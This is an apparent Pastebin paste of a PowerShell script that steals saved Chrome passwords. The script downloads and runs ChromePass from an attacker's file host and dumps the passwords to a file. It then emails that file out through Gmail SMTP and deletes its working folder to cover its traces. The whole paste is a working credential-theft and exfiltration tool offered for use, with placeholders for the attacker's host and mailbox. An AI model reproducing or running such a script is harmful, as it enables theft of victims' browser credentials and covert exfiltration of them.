Guest User

Untitled

a guest
Jul 29th, 2018
329
0
Never
9
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.39 KB | None | 0 0
  1. #Downloads and runs the terminal version of ChromePass from your own filehost
  2.  
  3. Start-Sleep 1
  4. cd /
  5. Start-Sleep -Milliseconds 500
  6. mkdir chrome
  7. Start-Sleep -Milliseconds 500
  8. cd chrome
  9. Start-Sleep -Milliseconds 500
  10. echo (wget '(YOUR FILE HOST)/ChromePass.exe' -OutFile pass.exe)
  11. Start-Sleep 1
  12. ./pass.exe /stext pass.txt
  13. Start-Sleep 1
  14.  
  15. #Sends you an email with attachment of passwords using Google's SMTP server
  16.  
  17. $Username = "YOUR GMAIL ADDRESS";
  18. $Password = "YOUR GMAIL PASSWORD";
  19. $path= "C:\chrome\maintenance.txt"
  20. $email = "$Username"
  21. function Send-ToEmail([string]$email, [string]$attachmentpath){
  22.  
  23. $message = new-object Net.Mail.MailMessage;
  24. $message.From = "$Username";
  25. $message.To.Add($email);
  26. $message.Subject = "passwords";
  27. $message.Body = "here they are scrub";
  28. $attachment = New-Object Net.Mail.Attachment($attachmentpath);
  29. $message.Attachments.Add($attachment);
  30.  
  31. $smtp = new-object Net.Mail.SmtpClient("smtp.gmail.com", "587");
  32. $smtp.EnableSSL = $true;
  33. $smtp.Credentials = New-Object System.Net.NetworkCredential($Username, $Password);
  34. $smtp.send($message);
  35. write-host "Mail Sent" ;
  36. $attachment.Dispose();
  37. }
  38. Send-ToEmail -email "RECIPIENT" -attachmentpath $path;
  39.  
  40. #Just deletes every file involved and exits
  41.  
  42. Start-Sleep 5
  43. cd c:\
  44. Start-Sleep -Milliseconds 400
  45. rmdir /s /q c:\chrome
  46. Start-Sleep -Milliseconds 400
  47. exit
Advertisement
Comments
  • User was banned
  • User was banned
  • User was banned
  • User was banned
  • User was banned
  • User was banned
  • User was banned
  • User was banned
  • User was banned
Add Comment
Please, Sign In to add comment